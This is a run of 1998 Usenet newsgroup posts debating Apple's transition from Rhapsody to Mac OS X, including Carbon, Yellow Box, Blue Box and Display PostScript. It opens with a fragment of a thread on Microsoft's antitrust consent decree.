On Wed, 13 May 1998 04:28:57 GMT, dpetticord@hotmail.com wrote:
:
:What was meant in 1994? I believe Microsoft wins on this point. The DOJ has
:NO historical evidence that any of the signers thought "integrated products"
:could not include products that were also sold separately.
I agree. Products can be 'integrated', meaning designed to work hand in
hand, and also sold separately, as Word and Excel are integrated, yet also be
sold separately, and being sold separately does not preclude them from
being ''integrated''.
Microsoft was allowed to continue to to design 'integrated' products.
It does NOT follow at all that these integrated products must be
*inseparable*.
Indeed, the fact that they are sold separately demonstrates that they
can be separated, and if it signs a consent decree prohibiting "bundling" then
they MUST not be forced to be sold together. And, the anti-bundling
prohibition, does not in anyway prevent them from designing integrated
products.
It all makes sense, but not in the way Microsoft wishes, because it wants to
continue to force bundling ad libitum by conflating ''integrated''
with ''inseparable''.
"bundling", "integrated" and "inseparable" have distinct meanings. Microsoft
cannot do the first, but it is allowed to pursue the second.
Microsoft is attempting to pervert the prohibition against the first, by
claiming that by being explicitly allowed to do the second, it is really
being allowed to pursue the third, which then trumps the prohibition against
illegal bundling.
Thus, pursuing the argument that 'integrated' and 'sold separately' can happen
at the same time (indeed correct) favors the prosecution.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 08:10:58 GMT
Organization: Idiom Communications
Message-ID: <6jbkii$eua$1@news.idiom.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com>
<6ja6ji$k4$3@news.idiom.com> <355b6dda.12226593@198.0.0.100>
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Cc: nhughes@sunflower.com
Nathan Hughes may or may not have said:
-> On or about 12 May 1998 19:06:26 GMT, in comp.sys.mac.advocacy
-> jcr.remove@this.phrase.idiom.com (John C. Randolph) exclaimed :
->
-> <s>
->
-> >MacOS X is the same OS they were calling Rhapsody two days ago, and
that's a
-> >Good Thing. The MacOS is way past its prime.
->
-> So you are saying for sure that macos10 will be cross platform and
-> applications written for it's principle API will only require a
-> recompile to work on 90% of computers? Those are Rhapsody's strongest
-> points when it comes to keeping apple relevant.
MacOS X is an Operating System. The yellow box is a set of object classes.
Yellow Box is a cross-platform product, and it *currently* runs on Rhapsody
and WIndoze.
MacOS X will derive from a code base that already runs on PPC and Intel. I
see no technical reason why that should change.
-jcr
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Nobody's screwed! (was: Apple screws Rhapsody *and* Mac owners?)
Date: Wed, 13 May 1998 19:27:42 -0700
Message-ID: <see-below-1305981927430001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <Esu12F.2yG@micmac.com> <slrn6lgnva.l2e.sal@panix3.panix.com> <EsvyKp.7tA@micmac.com>
In article <EsvyKp.7tA@micmac.com>, nospam@micmac.com wrote:
> This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
> (<slrn6lgnva.l2e.sal@panix3.panix.com>) by Salvatore Denaro:
> > On Tue, 12 May 1998 07:06:15 GMT, Michel Coste <nospam@micmac.com> wrote:
> > >It seems clear to me that carbon apps will ship for Intel...
> >
> > Huh? What make you think that?
> >
> > From what I read, Carbon is PPC only.
>
>
> Not from I read but from I *think*!
>
> Seem quite logical to me...
>
> (I'm used to read between the lines...)
I don't see that at all. It would take massive amounts of work to transfer
carbon to Intel. In addition, all those applications would have to be
recompiled. In addition, that _would_ make Yellow Box more or less
redundant, which I don't think is their plan. On top of that, I seriously
doubt you'll see Rhapsody/MacOS 10 as a _consumer_ OS on Intel anytime
soon. There may still be a server version with YB and Unix tools, but
_not_ MacOS - Apple still needs to sell PPC hardware to stay in business!
This actually makes that part of their future much clearer - Rhapsody can
be made available on Intel without risk of existing Mac customers
switching, since it won't provide at all the same selection of
applications.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 08:13:21 GMT
Organization: Idiom Communications
Message-ID: <6jbkn1$eua$2@news.idiom.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <6ja6bu$m3n$1@nnrp1.dejanews.com>
<6jaev0$h9c$1@larry.admin.phil.uu.nl> <slrn6lhi7g.mi.jason@jhste1.dyn.ml.org>
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Jason S. may or may not have said:
-> Freek Wiedijk posted the following to comp.sys.mac.advocacy:
->
-> >>Rhapsody buggy?
->
-> >The blue box is setuid root. That's a _big_ bug.
->
-> Why did they do _that_?
Probably necessary to mount disks.
-jcr
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 01:56:38 -0700
Message-ID: <see-below-1305980156390001@209.24.240.140>
References: <see-below-1205981702280001@209.24.240.213> <B17E9673-3F250@206.165.43.165>
In article <B17E9673-3F250@206.165.43.165>, "Lawson English"
<english@primenet.com> wrote:
> Matthew Vaughan <see-below@not-my-address.com> said:
>
> >
> >So long as Yellow Box is still available, yes. And nobody is talking about
> >abandoning YB. (Carbon just replaces Blue Box)
>
>
>
> Suppliments Blue Box. Blue Box is for non-Carbon MacOS apps, both 68K and
> PPC, if I understood Mike Paquette's comments earlier.
You're right. That's the way I see it from what I know so far.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
owners?)
Date: 13 May 1998 01:49:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B17EAC79-91F44@206.165.43.165>
References: <3559327d.0@news.camtech.net.au>
nntp://news.primenet.com/comp.sys.next.advocacy
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timothyp@tne.net.au said:
>
>If on the other hand carbon is really only an extension of the blue-box
and
>Apple will still be pushing new developers to code in YB and use DPS I
will
>be
>very Happy.
Why are you so happy at the thought of using DPS? Unless your app needs the
ability to script DPS (ala the latest version of FreeHand), what does DPS
offer you that GX or a GX-like entity wouldn't (ie., the various classes in
YB)?
I'm often baffled by the obsession with DPS that NeXT developers have. It
doesn't make sense for most purposes.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: 13 May 1998 08:21:53 GMT
Organization: Idiom Communications
Message-ID: <6jbl71$eua$3@news.idiom.com>
References: <6ja5o4$k4$1@news.idiom.com> <B17DFB11-30D936@204.210.19.214>
<6jaec4$r8i@nntp02.primenet.com>
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Cc: jjens@primenet.com
John Jensen may or may not have said:
-> William V. Campbell Jr. <wcampbe1@san.rr.com> wrote:
-> [...]
-> : Thanks for clearly up the misconceptions concerning MacOS X for so many
-> : people. I am not a programmer/developer, but I immediately understand
where
-> : Jobs is going with this strategy.* MacOS X is Rhapsody*. Why can't
people,
-> : (especially programmers) see this simple fact. You can program using the
-> : Yellowbox APIs or you can program using the new Mac APIs (Carbon). Seems
-> : very simple to me.
->
-> Well, not being a programmer you may not be aware of a few details. From
-> what I've seen, Apple has said that MacOS X will have a microkernal and
-> Yellow Box support from Rhapsody. OSes are built in layers, and the
-> microkernal and the Yellow Box APIs are respectively the lowest and
-> highest layers in the Rhapsody OS. There is a lot in-between, and the
-> nature of what's in-between defines your OS. As an example, there is
-> actually another OS out there right now that uses a microkernal and runs
-> Yellow Box ... it's called Windows NT. It has a microkernal and it has
-> the Yellow Box but it is not much like Rhapsody in any other respect.
Umm, FYI: Towards the end of the first day of the conference, someone asked
Bertrand Serlet if MacOS X will still have the UNIX code in it, and he owned
up that it would.
That, my friends, is still Rhapsody: Mach + BSD 4.4 + DPS + all the rest of
it. Mac OS X is Rhapsody renamed, with a better Mac apps migration
environment.
-> There is much speculation currrently about how much of those middle layers
-> MacOS X will share with Rhapsody. As a developer, I would like to run a
-> MacOS that did retain the standard UNIX system calls. But to retain those
-> calls means to retain things like UNIX's /dev device structure as well as
-> the /bin, /etc and /usr file organizations. Apple _might_ try to do a
-> UNIX derivative that hid those things from most users, but I think it
-> might be easier for them to do a more Macish OS on top of a microkernal,
-> and supporting Yellow Box. That may not be a bad thing for users, when it
-> arrives, but I don't think it will be Rhapsody in the sense of BSD.
It's already the case that in OpenStep 4.2 and Rhapsody DR1, UNIX is there,
but you don't see it unless you go looking for it.
Apple doesn't have enough time to break things that are working for no good
reason. MacOS X will be able to mix and match MacOS toobox calls with the
Appkit in the same app. Mac developers will be able to port their code to
the yellow box APIs piecemeal if they want to.
-jcr
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 15:33:32 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981533320001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <355b6dda.12226593@198.0.0.100>
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In article <355b6dda.12226593@198.0.0.100>, nhughes@sunflower.com wrote:
> On or about 12 May 1998 19:06:26 GMT, in comp.sys.mac.advocacy
> jcr.remove@this.phrase.idiom.com (John C. Randolph) exclaimed :
>
> >MacOS X is the same OS they were calling Rhapsody two days ago, and that's a
> >Good Thing. The MacOS is way past its prime.
>
> So you are saying for sure that macos10 will be cross platform and
> applications written for it's principle API will only require a
> recompile to work on 90% of computers?
Inasmuch as the Yellow Box is its "principal" API, then yes, it will. To be
more specific, Mac OS X will have the Yellow Box API, which will also run
on Rhapsody for Windows.
Andy Bates.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple Dumps Display Postscript in Rhapsody
Date: 13 May 1998 08:56:32 GMT
Organization: Idiom Communications
Message-ID: <6jbn80$eua$7@news.idiom.com>
References: <_La61.80$5g3.847607@news.rdc1.sfba.home.com>
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Cc: akira@home.com
akira@home.com may or may not have said:
-> Howdy folks,
->
-> Since everyone is freaking out about Rhapsody being dead and all, I guess
-> this might be a moot point, but why not just throw more oil in the fire.
->
-> Today (Tuesday) at the Yellowbox Appkit meeting, the Apple people
announced
-> that they would be getting rid of DPS.
AAARRRRGGGGHHH!!
-> Well, not quite, but close enough. What they said is that they will be
-> keeping the DPS imaging model, but will/may be getting rid of the
-> Postscript language layer.
Well, if it's a *maybe*, then we need to raise the hue and cry just like we
did over the attempt to bugger the syntax of Objective-C.
Actually, if NSEPSImageRep stays, then we have access to the DPS interpreter.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: OpenStep for Windoze $20?
Date: 13 May 1998 09:23:17 GMT
Organization: Idiom Communications
Message-ID: <6jboq5$eua$9@news.idiom.com>
Mime-Version: 1.0
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Well, Adobe didn't play ball. That's pretty irritating, to say the least.
Suggested workaround: A bundle of the NeXT apps, like Mail.app and TextEdit,
and all the stuff from /Nextdeveloper/demos, for $25.
You buy the frameworks as part of something else that's worth having on your
windoze box to ease the pain of the MicroSquish UI.
-jcr
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 19:42:01 -0700
Message-ID: <see-below-1305981942010001@209.24.241.190>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com> <6jd1s0$5nv$2@msunews.cl.msu.edu> <355A04FC.420CED76@milestonerdl.com> <rex-1305982038160001@192.168.0.3>
In article <rex-1305982038160001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
> In article <355A04FC.420CED76@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> That's something I've been thinking about. The primary reason behind
> Apple's sudden shift in direction, is that current Mac OS developers did
> not want to totally rewrite their apps for Rhapsody. Now with Carbon, they
> won't have to, but the theory keeping the Yellow Box alive is that at
> some point those developers will just 'want' to totally rewrite their
> apps.
>
> The question is will Adobe, MS, Macromedia, et al. ever really want to
> rewrite for the YellowBox? They've already got their own homebrew
> cross-platform frameworks and libraries. The YellowBox could shorten
> development cycles, but I think that's going to be a very tough sell on
> Apple's part.
I'm not sure if Apple will be the one to sell them on it. It may be
competition from other developers already using Yellow Box that will
prompt other developers to switch. When Photoshop has to face up to
TIFFany, Illustrator runs into Create!, QuakrXpress runs into some amazing
Yellow Box publishing systems, etc., they may _need_ to switch in order to
keep up.
Also, while I haven't heard anything definite about this, the integration
with Java and Javabeans (giving component functions) and possibly YB
support on more platforms than just Windows might make Yellow Box even
more attractive as a truly cross-platform solution.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 20:43:34 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jdenm$5e7$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6jd1s0$5nv$2@msunews.cl.msu.edu> <355A04FC.420CED76@milestonerdl.com> <rex-1305982038160001@192.168.0.3>
In article <rex-1305982038160001@192.168.0.3>, rex@smallandmighty.com (Eric King) wrote:
> [...] the theory keeping the Yellow Box alive is that at
> some point those developers will just 'want' to totally rewrite their
> apps.
You're proceeding on the assumption that no one ever writes a new
application.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
Date: 13 May 1998 10:04:47 GMT
Organization: P & L Systems
Message-ID: <6jbr7v$1cc$12@ironhorse.plsys.co.uk>
References: <3559327d.0@news.camtech.net.au> <B17EAC79-91F44@206.165.43.165>
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In <B17EAC79-91F44@206.165.43.165> "Lawson English" wrote:
> Why are you so happy at the thought of using DPS? Unless your app needs the
> ability to script DPS (ala the latest version of FreeHand), what does DPS
> offer you that GX or a GX-like entity wouldn't (ie., the various classes in
> YB)?
>
> I'm often baffled by the obsession with DPS that NeXT developers have. It
> doesn't make sense for most purposes.
>
You're baffled by *our* obsession?!
We're not obsessed. How many times do we have to repeat this?
It's there, it works, why break it?
It's you who is the obsessive.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 10:07:35 GMT
Organization: P & L Systems
Message-ID: <6jbrd7$1cc$13@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>
<markeaton-1105982335100001@209.86.154.31> <6j9eb8$197$1@crib.bevc.blacksburg.va.us>
<mcasse-2708561357200001@line8047.ras.ilstu.edu>
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Cc: mcasse@rs6000.cmp.ilstu.edu
In <mcasse-2708561357200001@line8047.ras.ilstu.edu> Matt Casselman wrote:
> Carbon is the MacOS APIs. MacOS X will be MacOS on top of Mach. Blue Box
> is just another application on Rhapsody like SoftWindows is an app on
> MacOS.
>
Umm, no.
MacOS X = Rhapsody + Carbon
where
Rhapsody = YellowBox + BlueBox with BSD underpinnings on Mach kernel
and
Carbon = MacOS APIs
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 10:15:02 GMT
Organization: P & L Systems
Message-ID: <6jbrr6$1cc$14@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<6j82vd$1cc$1@ironhorse.plsys.co.uk> <6j9up8$pnk$1@interport.net>
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Cc: float@interport.net
In <6j9up8$pnk$1@interport.net> float@interport.net wrote:
> mmalcolm crawford (malcolm@plsys.co.uk) wrote:
>
> : Given Carbon (which you could regard as being a step beyond even a
> : transparent BlueBox --
>
> You mean an iMac? ;-)
>
:-)
On the subject of which -- I'm glad to see they found a use for all the
plastic they had left over from the eMates... :-|
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 10:20:57 GMT
Organization: P & L Systems
Message-ID: <6jbs69$1cc$15@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu>
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Cc: Limeyville@spamtoNull.com
In <3558718B.69675B8F@spamtoNull.com> Jonathan Harker wrote:
> What it is is "BS" for the Mac community--the more the better...:) Pile
> it high and lay it on thick, that's what Jobs does best. It's just
> surprsing that so many in the Mac community have such an appetite for
> it...:) If no one was eating it, Jobs would not be serving up so much of
> it...
>
Oddly there are two answers to this:
a) The main BS vendor round here seems to be one Jonathan Harker, poster sans
clue extraordinare.
alternatively
b) Yes, you're absolutely right. Jobs (with his team) has found a way to
pull the wool over people's eyes so Apple can serve up Rhapsody so that it is
palatable to the traditional Mac users and developers so they feel like first
class citizens again, rather than facing life in a "compatibility
environment".
mmalc.
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 14 May 1998 02:31:02 GMT
Organization: Michigan State University
Message-ID: <6jdl16$l15$2@msunews.cl.msu.edu>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
<3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com>
<6jcjie$1cc$22@ironhorse.plsys.co.uk> <3559D285.C7FC88FA@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <355A1631.F7BD6362@milestonerdl.com> M Rassbach wrote:
>
>
> spammers@ruin.the.internet.channelu.com wrote:
>
> > In <3559D285.C7FC88FA@milestonerdl.com> M Rassbach wrote:
> > >
> > >
> > > mmalcolm crawford wrote:
> > >
> > > > In <35597B98.E031BF17@milestonerdl.com> M Rassbach wrote:
> > > >
> > > > > Stepwise is a very pro-NeXTSTEP/OpenSTEP site.
> > > > >
> > > > So? Stepwise also has access to a number of clued up people
inside
> > Apple,
> > > > and has established a record for getting facts right and not
> > publishing
> > > > unsubstantiated rumour.
> >
> > Yes. Thank you Stepwise. Go Scott!!
> >
> > > > > And if the cross-platform aspect is gone, I think of
YellowBox is
> > dead.
> > > > >
> > > > Where has anyone said that the cross-platform aspect has gone?
> > > >
> > > > Apple has just announced pricing information for YB/Windows,
there
> > were
> > > > sessions on YB/Windows development at WWDC, YellowBox is alive
and
> > well.
> > > >
> > > > If you dig your head out of the sand you'll be able to hear the
> > messages
> > > > easier.
> > >
> > > To paraphrase someone else:
> > >
> > > I know Steve doesn't like to build software that sells someone
else's
> > > hardware. Unless there is a two way opportunity for PPC hardware
> > sales, the
> > > argument for cross-compiling - weak.
> >
> > Let's say for similiarly equipped PPC (same Mhz fo Mhz, same RAM,
same
> > HD, same graphics card, monitor) the price is 2:1. If the
performance
> > averages
> > out to be 2:1 (remember Mhz for Mhz) then I can make a strong case
> > that
> > someone will buy the PPC vs. the Intel. The question will be when
one
> > factors
> > into the equation the software/OS/support/power/stability whether
the
> > PPC
> > will stand up over the Intel box. If it does then giving someone
a
> > Intel version
> > of Rhapsody will only make them drool for PPC. If you don't then
they
> > will
> > have no reason to drool since comparisions won't/can't be made..
Also
> > take into account for many of the things I'll be doing I'll be
> > comparing
> > Rhapsody performance to Linux.
> >
> > > Can you give a compelling argument to future YellowBox support on
> > Intel? One
> > > that has NT 5.x/win98 listed EXPLICITLY? One that shows a future
> > beyond
> > > Rhapsody for Intel 1.0?
> >
> > There is no formal announcement of this support since there is no
> > release of NT5
> > and Win98. How can you support a non shipping product?
>
> Simple. Just announce that "Apple considerers NT 5.x to be a key
platform
> to support. Apple Computer will work to support a NT 5.x version of
> YellowBox technology." Says nothing about succeeding, and Apple can
(and
> has) change its mind. But, with no support mentioned, what is to be
> assumed? That Apple will support or not?
Why NT5.x isn't even shipping yet. If they know they will want to it
would
be a good thing IMHO. But I'm not sure I'd agree that they aren't.
Hell maybe they got Microsoft to support YB for 98/NT5. So why
would Apple announce it? Heck they may have to keep quiet about
this because of deals with MS. They are also a bit busy right now.
Hopefully this will become clearer shortly. You've waited a year
can you wait another week?
> > Who knows
> > maybe
> > this is under wraps since Bill Gates is slated to speak at a
suprise
> > session on
> > friday - or by satellite? :)
>
> Perhaps. A rumor is Win98 ships with YellowBox on it.
Yep and I'll believe it when I see it. It would be awsome BTW!
> > I can't see any reason for Apple to drop
> > Rhapsody
> > for Intel. Clearly initial sales will dictate whether this is
true,
> > and if all you
> > nay sayers and FUD spreaders have your way no-one will buy
Rhapsody.
> > And you will have a self fufilling prophecy.
> >
>
> And the self-fufulling prophecy can be broken when Apple publicly
supports
> the FUTURE of non-MacOS options.
Yes and I agree Jobs made a mistake of touting MacOS X while not saying
anything about Rhapsody or the future of YB on Intel.
> We can all agree MacOS is Apple's 'core buiness'.
Bull. PPC is Apple's core business. Go check their business figures.
> We can all agree Apple killed printers/Cameras/Netwon because they
wern't
> MacOS
They killed them because they were small potatoes and they were
probably
bleeding red ink all over the place.
> Cross-platform support isn't MacOS.
Big deal. Like MacOS was ever going to get cross-platform support.
If your lucky you'll get a Carbon on Intel, but frankly I doubt it. It
would
only encourage the MacOS developers to stay coding in a limited API.
I will say it again. YB is what Apple wants people to be working with.
Because MacOS is their old OS core business they can't just dump it
overnight. Wait till you see Bluebox I bet it will knock your socks
off.
> Apple doesn't have to cancel YellowBox cross-platform....just stop
doing
> anything with it.
To kill it probably. Again time will tell. I tend to belive that
all the YB
conferences etc. suggest otherwise. I look forward to Scott's new
addition tonite if he isn't completely burned out from last
night/today.
> > > So far, all you've trotted out is MacOS as a future. NT4 is a
> > present issue
> > > that will be used 'till 1999....more than enuf time to justify
> > pricing and
> > > sessions.
> > Bull. YB is the future, Rhapsody is the near future. Code for
Java,
> > or YB
> > take your pick. People will be using 95/NT4 for some time to
come.
>
> How convincing is learning YellowBox if it runs on old 95/NT4 and
Macintosh
> machines?Carbon exists because YellowBox wasn't convincing enuf.
Give me a fricking break. Can you buy NT5, Win98. Carbon exists
because
MacOS developers didn't have the balls to jump on the new ship. Tell
me
they were slobbering over doing a 95/NT4 port or gee like they could a
NT5/98 port? Come on what were their options? Are you even a MacOS
developer? Or are you just trolling here with your downer attitude
because
you have put options on AAPL?
Get your head out of the ground and think about how all the different
sides have been looking at things and how they are now looking at
things.
Apple has been struggling for years, and since they bought NeXT and
ported Openstep AKA Rhapsody you wanted some kind of a miracle.
Please keep us happy give us Preemptive multitasking, memory
protection,
buzzword, buzzword.. Well when they tell you it just can't be
frickin' done
with full backward compatibility what does the MacOS developer do?
He sticks his head in the sand and says "no, no, NO, NO". Well get
your head out of the sand because you are getting a full blown body
transplant. Apple got YB from NeXT along with Mach/DPS and loads
of other technologies. Apple/NeXT ported to PPC within 9 months.
Shortly there after we got BlueBox and Yellow Box (YB was already
in the works at NeXT I think). BlueBox is going to blow a few folks
away I suspect. Now they want to give you Carbon and all you can
do is bitch? What is wrong with you.. You get MacOS all over
the place and in many different forms. What the heck is your problem.
At this point I'm going to believe what Apple says when it says
YB is it's core technology. Fortunately I'm not dealing with legacy
MacOS code. If I was I would have been working on porting to
YB over the past year and coming up to speed on the YB API's
and probably freaking out over how beautiful it is. Yeah it will
take time to get up to speed but I would have been digging in
with both feet. And drooling over the possibility of getting
directly to 95/NT4 via YB. Others said ah the heck with it
and threw in the towel. Frankly I don't think what Apple is
doing with MacOS X is going to bring them back on board.
What would bring them back on board is if Apple was working on
a way to convert Carbon Source to YB Source. That would
get me on board rather quickly. Otherwise what are my options
port/code for 95/NT? Please compare 95/NT to YB and tell
me you'd choose 95/NT.
> Here's one for you to think on:
> If Apple HAD announced NT5/98/Solaris/HP-UX/Linux for YellowBox,
would that
> have been enuf to not NEED Carbon?
I personally don't think Carbon is going to swing a lot of folks at
this point
last year maybe, now w/o a Carbon to YB converter it's hard to say.
All
the big players already have 95/NT versions. Would
Solaris/HP-UX/Linux
swung them. Maybe just maybe, but Carbon to YB converter would
make them jump like starving dogs after a bone.
> > Hell
> > I still know people using NT3.51 for various reasons.
>
> And, as Macintosh owners point out, Some macs still run MacOS 6.
Yeah but I'd bet they arn't running it on PPC :)
> > > Now, I know you can't know (or, well tell) about a win98
announcement
> > on
> > > Friday, but when the RDF is turned off Friday, will you have _in
> > hand_
> > > anything about NT5.x and Rhapsody for Intel beyond 1.0/beyond
MacOS
> > X?
> > >
>
> > Who knows. Wait until NT5 or 98 is announced/shipping and then bug
> > Apple
> > about it. Then you'll know.
>
> If the end-game is a bait and switch, the end game will have been
reached
> at that time."Well sir, if that YellowBox application on Intel is so
> important to you, come and buy this PPC box."
And if that's the case I'll be off to Linux completely through with
anything
S. Jobs has his hand in. At that point I'll recant my words and say
you
were right Mark. Will you do the same when you happily find out YB
will be on NT5/98 and there will be a Rhapsody for Intel along with PPC
(I'm mostly uncertian about the YB-Mach-Intel support at this point
than
anything else) for versions beyond Rhap1.0??
> > I still don't see what your complaints
> > are. Apple
> > is committed to YB on other archs.
>
> WHERE ARE THE PUBLIC STATEMENTS!
I wish I knew. But I havn't scoured Apple's site at this point.
They've got
to be terribly busy, and yes I get the feeling something is being
hedged
and that is what I don't like. I am concerned as you about the support
but to say it won't be there is as bad as me saying it will. I'm just
saying
until you know otherwise quit saying they won't, and I'll quit saying
they
will. (which is not exactly what I'm saying. I'm just arguing that
if YB
is so important to Apple they absolutely will have to support it on
Intel,
Solaris/HP is a different story. The question is whether they will
support
YB-Mach-Intel, and whether they anticipate Carbon on Intel. Answers
to those questions will say a lot about the rest.
> > I don't see that changing for some
> > time to
> > come - if they do drop it they will have given up and you can sell
your
> > Apple
> > stock as Carbon or MacOS X won't cut it in my mind - not unless
most of
> > the
> > Rhapsody core is still in MacOS (i.e. YB/Mach/BSD)
>
> YellowBox will remain on MacOS. But anyone who bought into the
> cross-platform argument is gonna be 'baited and switched'
>
Thing is what is our alternative 95/NT?? I'm already moving
everything
I can to Linux/BSD I'm sure that won't go away anytime soon. I'm
suggesting
to my clients to do the same to hedge all of their bets. Use what you
can now
but keep looking to get everything you can to Linux.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 15:40:24 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981540240001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com>
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In article <6jagk8$sol$1@xmission.xmission.com>, Kristofer Jon Magnusson
<kris@xmission.xmission.com> wrote:
> In comp.sys.next.advocacy Andy Bates <andyba@corp.webtv.net> wrote:
>
> : Why? Rhapsody is still coming out when it was before, and it'll still do
> : the things it did before.
>
> Except that on Sunday, developing for Apple on Intel had a future. Today
> it does not.
Why not? Rhapsody for Intel is still coming out as well. Recompiled
Rhapsody apps will still run both on Rhapsody for PowerPC and Rhapsody for
Intel. And Rhapsody apps will still run on Mac OS X. Again, what's the
problem?
> : If Apple had cancelled Rhapsody completely, and then announced MacOS X
> : as the replacement, THAT would be a bad thing. But Rhapsody is still
> : coming out, and it is far from vapor.
>
> Rhapsody isn't vapor. But it is stillborn, at least the Intel version.
Nope, still coming out, and still supported. See WWDC notes.
> If MacOS X was slated to run on Intel, then I wouldn't care about losing
> Rhapsody, because then I would still be able to ditch my Win NT
> installations on decent, low-priced hardware in favor of essentially an
> updated version of NEXTSTEP on Intel.
